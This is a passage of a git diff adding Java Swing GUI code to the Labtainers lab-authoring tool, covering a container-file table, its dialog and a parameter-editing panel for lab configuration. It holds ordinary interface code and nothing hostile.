.addGroup(layout.createSequentialGroup() + .addGap(326, 326, 326) + .addComponent(okButton) + .addGap(76, 76, 76) + .addComponent(cancelButton)) + .addGroup(layout.createSequentialGroup() + .addGap(264, 264, 264) + .addComponent(AddButton) + .addGap(159, 159, 159) + .addComponent(DeleteButton))) + .addGap(0, 428, Short.MAX_VALUE))) + .addContainerGap()) + ); + layout.setVerticalGroup( + layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, layout.createSequentialGroup() + .addGap(9, 9, 9) + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(AddButton) + .addComponent(DeleteButton)) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED) + .addComponent(TablePanel, javax.swing.GroupLayout.DEFAULT_SIZE, 413, Short.MAX_VALUE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(cancelButton) + .addComponent(okButton)) + .addContainerGap()) + ); + }// //GEN-END:initComponents + + private void okButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_okButtonActionPerformed + this.is_ok = true; + this.dialog.setVisible(false); + }//GEN-LAST:event_okButtonActionPerformed + + private void cancelButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_cancelButtonActionPerformed + this.dialog.setVisible(false); + }//GEN-LAST:event_cancelButtonActionPerformed + + private void DeleteButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_DeleteButtonActionPerformed + this.container_file_table.deleteRow(); + }//GEN-LAST:event_DeleteButtonActionPerformed + + private void AddButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_AddButtonActionPerformed + this.container_file_table.addRow(); + }//GEN-LAST:event_AddButtonActionPerformed + + + // Variables declaration - do not modify//GEN-BEGIN:variables + private javax.swing.JButton AddButton; + private javax.swing.JButton DeleteButton; + private javax.swing.JPanel TablePanel; + private javax.swing.JButton cancelButton; + private javax.swing.JButton okButton; + // End of variables declaration//GEN-END:variables +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/src/main/java/labtainers/paramsui/ContainerFileTable.java b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/src/main/java/labtainers/paramsui/ContainerFileTable.java new file mode 100644 index 000000000..5c7e722fa --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/src/main/java/labtainers/paramsui/ContainerFileTable.java @@ -0,0 +1,306 @@ +package labtainers.paramsui; + +/* + * TableRenderDemo.java requires no other files. + */ + +import java.util.ArrayList; +import javax.swing.DefaultCellEditor; +import javax.swing.JComboBox; +import javax.swing.JFrame; +import javax.swing.JPanel; +import javax.swing.JScrollPane; +import javax.swing.JTable; +import javax.swing.table.AbstractTableModel; +import javax.swing.table.DefaultTableCellRenderer; +import javax.swing.table.TableCellRenderer; +import javax.swing.table.TableColumn; +import java.awt.Component; +import java.awt.Dimension; +import java.awt.GridLayout; +import java.awt.event.MouseEvent; +import java.awt.event.MouseMotionAdapter; +import java.util.HashMap; +import java.util.Map; + +import javax.swing.JTable; +import javax.swing.table.JTableHeader; +import javax.swing.table.TableColumnModel; + +/** + + */ +public class ContainerFileTable extends JPanel { + private boolean DEBUG = true; + private boolean multipleContainers = false; + private JTable table; + private ArrayList containers; + public ContainerFileTable(ArrayList containers, ArrayList fileList) { + super(new GridLayout(1,0)); + + this.table = new JTable(new MyTableModel()); + this.containers = containers; + addList(fileList); + this.table.setRowSelectionInterval(0, 0); + table.setPreferredScrollableViewportSize(new Dimension(500, 70)); + table.setFillsViewportHeight(true); + + JScrollPane scrollPane = new JScrollPane(table); + + initColumnSizes(table); + + setUpContainersColumn(table, table.getColumnModel().getColumn(0), containers); + + add(scrollPane); + if(containers.size() > 1){ + multipleContainers = true; + } + + + JTableHeader header = table.getTableHeader(); + + ColumnHeaderToolTips tips = new ColumnHeaderToolTips(); + TableColumn container_col = this.table.getColumnModel().getColumn(0); + tips.setToolTip(container_col, "Click for combo box, select container whose file is to be modified or start.config
or select start.config to modify configuration values, e.g., IP addresses."); + TableColumn file_col = this.table.getColumnModel().getColumn(1); + tips.setToolTip(file_col, "Absolute path of the file to be modifed on the container."); + header.addMouseMotionListener(tips); + } + public ArrayList getFileList(){ + MyTableModel model = (MyTableModel)this.table.getModel(); + return model.getFileList(this.multipleContainers); + } + private void addList(ArrayList fileList){ + MyTableModel model = (MyTableModel)this.table.getModel(); + if(fileList != null && fileList.size() > 0){ + for(String item : fileList){ + System.out.println("addList item "+item); + String container = ""; + String file = ""; + if(item.contains(":")){ + String[] parts = item.split(":"); + container = parts[0]; + if(parts.length > 1){ + file = parts[1]; + } + }else if(item.equals("start.config")){ + container = item; + }else{ + file = item; + container = this.containers.get(0); + } + model.addRow(container, file); + } + }else{ + String container = this.containers.get(0); + model.addRow(container, ""); + } + } + public void addRow(){ + MyTableModel model = (MyTableModel)this.table.getModel(); + String container = this.containers.get(0); + model.addRow(container, ""); + int last = model.getRowCount()-1; + this.table.setRowSelectionInterval(last, last); + } + public void deleteRow(){ + int selected = this.table.getSelectedRow(); + if(selected >=0){ + MyTableModel model = (MyTableModel)this.table.getModel(); + model.deleteRow(selected); + this.table.setRowSelectionInterval(0, 0); + } + } + /* + * This method picks good column sizes. + * If all column heads are wider than the column's cells' + * contents, then you can just use column.sizeWidthToFit(). + */ + private void initColumnSizes(JTable table) { + MyTableModel model = (MyTableModel)table.getModel(); + TableColumn column = null; + Component comp = null; + int headerWidth = 0; + int cellWidth = 0; + Object[] longValues = model.longValues; + TableCellRenderer headerRenderer = + table.getTableHeader().getDefaultRenderer(); + + for (int i = 0; i < 1; i++) { + column = table.getColumnModel().getColumn(i); + + comp = headerRenderer.getTableCellRendererComponent( + null, column.getHeaderValue(), + false, false, 0, 0); + headerWidth = comp.getPreferredSize().width; + + comp = table.getDefaultRenderer(model.getColumnClass(i)). + getTableCellRendererComponent( + table, longValues[i], + false, false, 0, i); + cellWidth = comp.getPreferredSize().width; + + if (DEBUG) { + System.out.println("Initializing width of column " + + i + ". " + + "headerWidth = " + headerWidth + + "; cellWidth = " + cellWidth); + } + + column.setPreferredWidth(Math.max(headerWidth, cellWidth)); + } + } + + public void setUpContainersColumn(JTable table, + TableColumn containerColumn, ArrayList containers) { + //Set up the editor for the container column. + JComboBox comboBox = new JComboBox(); + for(String c : containers){ + comboBox.addItem(c); + } + comboBox.addItem("start.config"); + + containerColumn.setCellEditor(new DefaultCellEditor(comboBox)); + + //Set up tool tips for the container cells. + DefaultTableCellRenderer renderer = + new DefaultTableCellRenderer(); + renderer.setToolTipText("Click for combo box"); + containerColumn.setCellRenderer(renderer); + } + + class ColumnHeaderToolTips extends MouseMotionAdapter { + TableColumn curCol; + Map tips = new HashMap(); + public void setToolTip(TableColumn col, String tooltip) { + if (tooltip == null) { + tips.remove(col); + } else { + tips.put(col, tooltip); + } + } + public void mouseMoved(MouseEvent evt) { + JTableHeader header = (JTableHeader) evt.getSource(); + JTable table = header.getTable(); + TableColumnModel colModel = table.getColumnModel(); + int vColIndex = colModel.getColumnIndexAtX(evt.getX()); + TableColumn col = null; + if (vColIndex >= 0) { + col = colModel.getColumn(vColIndex); + } + if (col != curCol) { + header.setToolTipText((String) tips.get(col)); + curCol = col; + } + } + } + class MyTableModel extends AbstractTableModel { + private String[] columnNames = {"Container", + "File"}; + //private Object[][] data = { + //}; + private ArrayList data = new ArrayList(); + public void addRow(String container, String file){ + System.out.println("addRow "+container+":"+file); + String[] entry = {container, file}; + data.add(entry); + } + public void deleteRow(int row){ + data.remove(row); + fireTableDataChanged(); + } + + public final Object[] longValues = {"some container", "some file"}; + + public int getColumnCount() { + return columnNames.length; + } + + public int getRowCount() { + return data.size(); + } + + public String getColumnName(int col) { + return columnNames[col]; + } + + public Object getValueAt(int row, int col) { + String[] r = data.get(row); + return r[col]; + } + + /* + * JTable uses this method to determine the default renderer/ + * editor for each cell. If we didn't implement this method, + * then the last column would contain text ("true"/"false"), + * rather than a check box. + */ + public Class getColumnClass(int c) { + return getValueAt(0, c).getClass(); + } + + /* + * Don't need to implement this method unless your table's + * editable. + */ + public boolean isCellEditable(int row, int col) { + return true; + } + + /* + * Don't need to implement this method unless your table's + * data can change. + */ + public void setValueAt(Object value, int row, int col) { + if(row < getRowCount()){ + if (DEBUG) { + System.out.println("Setting value at " + row + "," + col + + " to " + value + + " (an instance of " + + value.getClass() + ")"); + } + String[] r = data.get(row); + r[col] = (String) value; + fireTableCellUpdated(row, col); + + if (DEBUG) { + System.out.println("New value of data:"); + printDebugData(); + } + } + } + + private void printDebugData() { + int numRows = getRowCount(); + int numCols = getColumnCount(); + + for (int i=0; i < numRows; i++) { + System.out.print(" row " + i + ":"); + for (int j=0; j < numCols; j++) { + //System.out.print(" " + data[i][j]); + } + System.out.println(); + } + System.out.println("--------------------------"); + } + public ArrayList getFileList(boolean multipleContainers){ + ArrayList retval = new ArrayList(); + String containerFile = ""; + for(String[] row : this.data){ + String container = row[0]; + String file = row[1]; + if(container.equals("start.config")){ + containerFile = container; + }else{ + if(!multipleContainers){ + containerFile = file; + }else{ + containerFile = container+":"+file; + } + } + retval.add(containerFile); + } + return retval; + } + } +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/src/main/java/labtainers/paramsui/ParamPanels.form b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/src/main/java/labtainers/paramsui/ParamPanels.form new file mode 100644 index 000000000..982259b35 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/src/main/java/labtainers/paramsui/ParamPanels.form @@ -0,0 +1,330 @@ + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/src/main/java/labtainers/paramsui/ParamPanels.java b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/src/main/java/labtainers/paramsui/ParamPanels.java new file mode 100644 index 000000000..892f6f4da --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/src/main/java/labtainers/paramsui/ParamPanels.java @@ -0,0 +1,494 @@ +/* +This software was created by United States Government employees at +The Center for Cybersecurity and Cyber Operations (C3O) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions +are met: + 1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + 2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + +THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR +IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED +WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, +INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES +(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) +HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, +STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN +ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +POSSIBILITY OF SUCH DAMAGE. + */ +package labtainers.paramsui; +import java.awt.Dimension; +import java.util.ArrayList; +import java.util.List; +import java.util.Arrays; +import javax.swing.DefaultComboBoxModel; +import javax.swing.JComboBox; +import javax.swing.JPanel; +import javax.swing.JTextField; +import javax.swing.JDialog; +import labtainers.mainui.ToolTipHandlers.ToolTipWrapper; +import labtainers.mainui.ToolTipHandlers.ToolTipWrapper; +import static labtainers.mainui.ToolTipHandlers.setComboItems; +import static labtainers.resultsui.ParamReferenceStorage.Operator_ITEMS; +import labtainers.resultsui.ParamReferenceStorage; +import labtainers.goalsui.DocPanel; + +/** + * + */ +public class ParamPanels extends javax.swing.JPanel { + + static Dimension dim = new Dimension(975, 100); + ParamsUI uiParam; + ParamsData dataUI; + int rowNum; + String comments=""; + + /** + * Creates new form ParamsPanel + */ + //Creating fresh params line + public ParamPanels(ParamsUI ui, int rowNum) { + initComponents(); + this.uiParam = ui; + this.dataUI = ui.data; + this.rowNum = rowNum; + + jLabel3.setText(Integer.toString(rowNum)); + LowerBoundTextField.setVisible(false); + + setComboItems(OperationComboBox, Operator_ITEMS); + } + + //Loading params line + public ParamPanels(ParamsUI ui, int rowNum, String paramID, ArrayList fileList, + String operator, String symbol, + String hashedString, String upperBound, String lowerBound, String step, String comments){ + initComponents(); + this.uiParam = ui; + this.dataUI = ui.data; + this.rowNum = rowNum; + this.comments = comments; + jLabel3.setText(Integer.toString(rowNum)); + + setComboItems(OperationComboBox, Operator_ITEMS); + + //Set Values + setOperatorComboBox(operator); + setParamIDTextField(paramID); + String file_list = String.join(";", fileList); + setFileTextField(file_list); + setSymbolTextField(symbol); + setHashedStringTextField(hashedString); + setUpperBoundTextField(upperBound); + setLowerBoundTextField(lowerBound); + setStepTextField(step); + + this.revalidate(); + this.repaint(); + } + + /** + * This method is called from within the constructor to initialize the form. + * WARNING: Do NOT modify this code. The content of this method is always + * regenerated by the Form Editor. + */ + @SuppressWarnings("unchecked") + // //GEN-BEGIN:initComponents + private void initComponents() { + + jLabel3 = new javax.swing.JLabel(); + DeleteButton = new javax.swing.JButton(); + UpButton = new javax.swing.JButton(); + DownButton = new javax.swing.JButton(); + ParamPanel = new javax.swing.JPanel(); + ParamIDTextField = new javax.swing.JTextField(); + OperationComboBox = new javax.swing.JComboBox<>(); + FileNameTextField = new javax.swing.JTextField(); + SymbolTextField = new javax.swing.JTextField(); + LowerBoundTextField = new javax.swing.JTextField(); + UpperBoundTextField = new javax.swing.JTextField(); + HashedStringTextField = new javax.swing.JTextField(); + ShowListButton = new javax.swing.JButton(); + stepTextField = new javax.swing.JTextField(); + DocButton = new javax.swing.JButton(); + + setBorder(javax.swing.BorderFactory.createEtchedBorder()); + setMaximumSize(new java.awt.Dimension(1560, 86)); + setMinimumSize(new java.awt.Dimension(1560, 86)); + setName(""); // NOI18N + setPreferredSize(new java.awt.Dimension(1580, 86)); + + jLabel3.setFont(new java.awt.Font("Ubuntu", 1, 48)); // NOI18N + jLabel3.setText("10"); + + DeleteButton.setText("Delete"); + DeleteButton.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + DeleteButtonActionPerformed(evt); + } + }); + + UpButton.setFont(new java.awt.Font("Ubuntu Condensed", 0, 12)); // NOI18N + UpButton.setText("^"); + UpButton.setMaximumSize(new java.awt.Dimension(19, 50)); + UpButton.setMinimumSize(new java.awt.Dimension(19, 31)); + UpButton.setPreferredSize(new java.awt.Dimension(19, 31)); + UpButton.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + UpButtonActionPerformed(evt); + } + }); + + DownButton.setFont(new java.awt.Font("Ubuntu Condensed", 0, 12)); // NOI18N + DownButton.setText("v"); + DownButton.setToolTipText(""); + DownButton.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + DownButtonActionPerformed(evt); + } + }); + + ParamPanel.setBorder(javax.swing.BorderFactory.createEmptyBorder(1, 1, 1, 1)); + + OperationComboBox.addItemListener(new java.awt.event.ItemListener() { + public void itemStateChanged(java.awt.event.ItemEvent evt) { + OperationComboBoxItemStateChanged(evt); + } + }); + OperationComboBox.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + OperationComboBoxActionPerformed(evt); + } + }); + + FileNameTextField.setToolTipText("Name of the file containing parameterized data."); + FileNameTextField.setBorder(javax.swing.BorderFactory.createTitledBorder(javax.swing.BorderFactory.createEtchedBorder(), "File name")); + + SymbolTextField.setHorizontalAlignment(javax.swing.JTextField.LEFT); + SymbolTextField.setToolTipText("Symbol within the file that is to be replaced, e.g., with a hash or a random value."); + SymbolTextField.setBorder(javax.swing.BorderFactory.createTitledBorder(javax.swing.BorderFactory.createEtchedBorder(), "Symbol")); + + LowerBoundTextField.setHorizontalAlignment(javax.swing.JTextField.LEFT); + LowerBoundTextField.setToolTipText("Lower bound of random value."); + LowerBoundTextField.setBorder(javax.swing.BorderFactory.createTitledBorder(javax.swing.BorderFactory.createEtchedBorder(), "Lower bound")); + LowerBoundTextField.setMinimumSize(new java.awt.Dimension(20, 100)); + + UpperBoundTextField.setHorizontalAlignment(javax.swing.JTextField.LEFT); + UpperBoundTextField.setToolTipText("Upper bound of random value."); + UpperBoundTextField.setBorder(javax.swing.BorderFactory.createTitledBorder(javax.swing.BorderFactory.createEtchedBorder(), "Upper bound")); + UpperBoundTextField.setMinimumSize(new java.awt.Dimension(20, 100)); + + HashedStringTextField.setToolTipText("String to be hashed."); + HashedStringTextField.setBorder(javax.swing.BorderFactory.createTitledBorder(javax.swing.BorderFactory.createEtchedBorder(), "Hashed string")); + + ShowListButton.setText("jButton1"); + ShowListButton.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + ShowListButtonActionPerformed(evt); + } + }); + + stepTextField.setHorizontalAlignment(javax.swing.JTextField.LEFT); + stepTextField.setBorder(javax.swing.BorderFactory.createTitledBorder(javax.swing.BorderFactory.createEtchedBorder(), "Step")); + stepTextField.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + stepTextFieldActionPerformed(evt); + } + }); + + javax.swing.GroupLayout ParamPanelLayout = new javax.swing.GroupLayout(ParamPanel); + ParamPanel.setLayout(ParamPanelLayout); + ParamPanelLayout.setHorizontalGroup( + ParamPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(ParamPanelLayout.createSequentialGroup() + .addContainerGap() + .addComponent(ParamIDTextField, javax.swing.GroupLayout.PREFERRED_SIZE, 138, javax.swing.GroupLayout.PREFERRED_SIZE) + .addGap(35, 35, 35) + .addComponent(OperationComboBox, javax.swing.GroupLayout.PREFERRED_SIZE, 160, javax.swing.GroupLayout.PREFERRED_SIZE) + .addGap(18, 18, 18) + .addComponent(FileNameTextField, javax.swing.GroupLayout.PREFERRED_SIZE, 234, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED) + .addComponent(ShowListButton, javax.swing.GroupLayout.PREFERRED_SIZE, 25, javax.swing.GroupLayout.PREFERRED_SIZE) + .addGap(38, 38, 38) + .addComponent(SymbolTextField, javax.swing.GroupLayout.PREFERRED_SIZE, 142, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(LowerBoundTextField, javax.swing.GroupLayout.PREFERRED_SIZE, 109, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED) + .addComponent(UpperBoundTextField, javax.swing.GroupLayout.PREFERRED_SIZE, 108, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED) + .addComponent(stepTextField, javax.swing.GroupLayout.PREFERRED_SIZE, 111, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(HashedStringTextField, javax.swing.GroupLayout.PREFERRED_SIZE, 223, javax.swing.GroupLayout.PREFERRED_SIZE) + .addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)) + ); + ParamPanelLayout.setVerticalGroup( + ParamPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(ParamPanelLayout.createSequentialGroup() + .addGroup(ParamPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(ParamPanelLayout.createSequentialGroup() + .addGap(1, 1, 1) + .addGroup(ParamPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING) + .addGroup(ParamPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(ParamIDTextField, javax.swing.GroupLayout.PREFERRED_SIZE, 40, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(OperationComboBox, javax.swing.GroupLayout.PREFERRED_SIZE, 40, javax.swing.GroupLayout.PREFERRED_SIZE)) + .addGroup(ParamPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(LowerBoundTextField, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(SymbolTextField, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(UpperBoundTextField, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(stepTextField) + .addComponent(HashedStringTextField, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)))) + .addComponent(ShowListButton) + .addComponent(FileNameTextField, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)) + .addGap(0, 23, Short.MAX_VALUE)) + ); + + DocButton.setText("Doc"); + DocButton.setToolTipText("Document this parameter."); + DocButton.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + DocButtonActionPerformed(evt); + } + }); + + javax.swing.GroupLayout layout = new javax.swing.GroupLayout(this); + this.setLayout(layout); + layout.setHorizontalGroup( + layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, layout.createSequentialGroup() + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(layout.createSequentialGroup() + .addContainerGap() + .addComponent(jLabel3) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)) + .addGroup(layout.createSequentialGroup() + .addGap(72, 72, 72) + .addComponent(ParamPanel, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + .addGap(18, 18, 18))) + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(DownButton, javax.swing.GroupLayout.PREFERRED_SIZE, 33, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(UpButton, javax.swing.GroupLayout.Alignment.TRAILING, javax.swing.GroupLayout.PREFERRED_SIZE, 33, javax.swing.GroupLayout.PREFERRED_SIZE)) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(DeleteButton) + .addComponent(DocButton, javax.swing.GroupLayout.PREFERRED_SIZE, 61, javax.swing.GroupLayout.PREFERRED_SIZE)) + .addGap(22, 22, 22)) + ); + layout.setVerticalGroup( + layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(layout.createSequentialGroup() + .addContainerGap() + .addComponent(ParamPanel, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addGap(38, 38, 38) + .addComponent(jLabel3)) + .addGroup(layout.createSequentialGroup() + .addGap(3, 3, 3) + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(UpButton, javax.swing.GroupLayout.PREFERRED_SIZE, 25, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(DeleteButton)) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED) + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(DownButton) + .addComponent(DocButton))) + ); + }// //GEN-END:initComponents + + private void UpButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_UpButtonActionPerformed + swapUpdate("UP", rowNum-1); //Subtract rowNum by one to get the proper index number + }//GEN-LAST:event_UpButtonActionPerformed + + private void DownButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_DownButtonActionPerformed + swapUpdate("DOWN", rowNum-1); //Subtract rowNum by one to get the proper index number + }//GEN-LAST:event_DownButtonActionPerformed + + private void OperationComboBoxItemStateChanged(java.awt.event.ItemEvent evt) {//GEN-FIRST:event_OperationComboBoxItemStateChanged + operatorListener(); + }//GEN-LAST:event_OperationComboBoxItemStateChanged + + private void DeleteButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_DeleteButtonActionPerformed + deleteButton(); + }//GEN-LAST:event_DeleteButtonActionPerformed + + private void OperationComboBoxActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_OperationComboBoxActionPerformed + //operatorListener(); + }//GEN-LAST:event_OperationComboBoxActionPerformed + + private void DocButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_DocButtonActionPerformed + DocPanel panel = new DocPanel(); + + panel.setDoc(this.comments); + //panel.setVisible(true); + JDialog dialog = new JDialog(); + panel.setDialog(dialog); + //dialog.setDefaultCloseOperation(JDialog.DISPOSE_ON_CLOSE); + dialog.setModal(true); + dialog.add(panel); + dialog.pack(); + dialog.setLocation(200, 200); + dialog.setTitle("Documentation for "+ParamIDTextField.getText()); + dialog.setVisible(true); + if(panel.isOK()){ + this.comments = panel.getDoc(); + } + }//GEN-LAST:event_DocButtonActionPerformed + + private void ShowListButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_ShowListButtonActionPerformed + String file_list = getFileTextField().getText(); + String fileArray[] = file_list.split(";"); + List list = new ArrayList(); + list = Arrays.asList(fileArray); + ArrayList fileList = new ArrayList(list); + ContainerFileDialog panel = new ContainerFileDialog(this.dataUI.getContainerList(), fileList); + + //panel.tableSetup(); + panel.setOpaque(true); + JDialog dialog = new JDialog(); + panel.setDialog(dialog); + //dialog.setDefaultCloseOperation(JDialog.DISPOSE_ON_CLOSE); + dialog.setModal(true); + dialog.add(panel); + dialog.pack(); + dialog.setLocation(200, 200); + dialog.setTitle("Files to modify"); + dialog.setVisible(true); + if(panel.isOK()){ + System.out.println("is ok "); + fileList = panel.getFileList(); + file_list = String.join(";", fileList); + setFileTextField(file_list); + } + dialog.dispose(); + }//GEN-LAST:event_ShowListButtonActionPerformed + + private void stepTextFieldActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_stepTextFieldActionPerformed + // TODO add your handling code here: + }//GEN-LAST:event_stepTextFieldActionPerformed + + private void deleteButton(){ + JPanel panelOfParams = (JPanel)this.getParent(); + panelOfParams.remove(this); + uiParam.data.rowCount--; + uiParam.refresh(); + } + private void operatorListener(){ + ToolTipWrapper operator = (ToolTipWrapper)OperationComboBox.getSelectedItem(); + if(operator == null){ + return; + } + //adjustToolTip(operator.getItem()); + String op_string = operator.getItem(); + if(op_string.contains("RAND")){ + LowerBoundTextField.setVisible(true); + UpperBoundTextField.setVisible(true); + stepTextField.setVisible(true); + }else{ + LowerBoundTextField.setVisible(false); + UpperBoundTextField.setVisible(false); + } + if(op_string.contains("REPLACE")){ + SymbolTextField.setVisible(true); + }else{ + SymbolTextField.setVisible(false); + } + if(op_string.contains("HASH")){ + HashedStringTextField.setVisible(true); + }else{ + HashedStringTextField.setVisible(false); + } + ParamPanel.revalidate(); + ParamPanel.repaint(); + } + + + //Swaps artifact order in the list of artifacts and then redraws them + void swapUpdate(String type, int rowIndex){ + //System.out.println("RowCOUNT(swap): " +dataUI.rowCount); + dataUI.updateListofParams(uiParam.getPanelofParams()); + dataUI.swapParams(type, rowIndex); + uiParam.loadUI(); + } + + //Field Getters + public JTextField getParamIDTextField(){ + return ParamIDTextField; + } + public JTextField getFileTextField(){ + return FileNameTextField; + } + public JComboBox getOperatorComboBox(){ + return OperationComboBox; + } + public JTextField getSymbolTextField(){ + return SymbolTextField; + } + public JTextField getHashedStringTextField(){ + return HashedStringTextField; + } + public JTextField getLowerBoundTextField(){ + return LowerBoundTextField; + } + public JTextField getUpperBoundTextField(){ + return 